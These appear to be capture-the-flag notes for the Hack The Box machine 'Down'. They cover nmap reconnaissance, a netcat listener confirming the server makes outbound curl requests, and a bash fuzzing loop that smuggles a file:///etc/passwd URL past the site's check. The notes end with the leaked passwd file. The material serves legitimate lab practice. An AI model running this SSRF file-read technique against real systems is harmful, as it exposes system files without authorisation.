Down

#easy #linux

https://app.hackthebox.com/machines/Down

---

sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -vv 10.129.234.87 -oA openPorts

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

nmap -p 22,80 -sCV -Pn -n -vv 10.129.234.87 -oA openPortsServicesVersion

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9eTcP2DDxJHJ2uCdOmMRIPaoOhvMFXL33f1pZTIe0VTdeHRNYlpm2a2PumsO5t88M7QF3L3d6n1eRHTTAskGw=
|   256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJwLt0rmihlvq9pk6BmFhjTycNR54yApKIrnwI8xzYx/
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Is it down or just me?
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nc -lvnp 1111
listening on [any] 1111 ...

http://10.10.14.169:1111

nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.169] from (UNKNOWN) [10.129.234.87] 59254
GET / HTTP/1.1
Host: 10.10.14.169:1111
User-Agent: curl/7.81.0
Accept: */*

https://man7.org/linux/man-pages/man1/curl.1.html

file:///etc/passwd

https://snyk.io/es/blog/url-confusion-vulnerabilities/

while IFS= read -r char || [[ -n $char ]]; do curl -sS --max-time 6 -X POST "http://10.129.234.87/index.php" -d "url=http://${char}file:///etc/passwd"; done < /usr/share/wordlists/seclists/Fuzzing/special-chars.txt 

<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false</pre>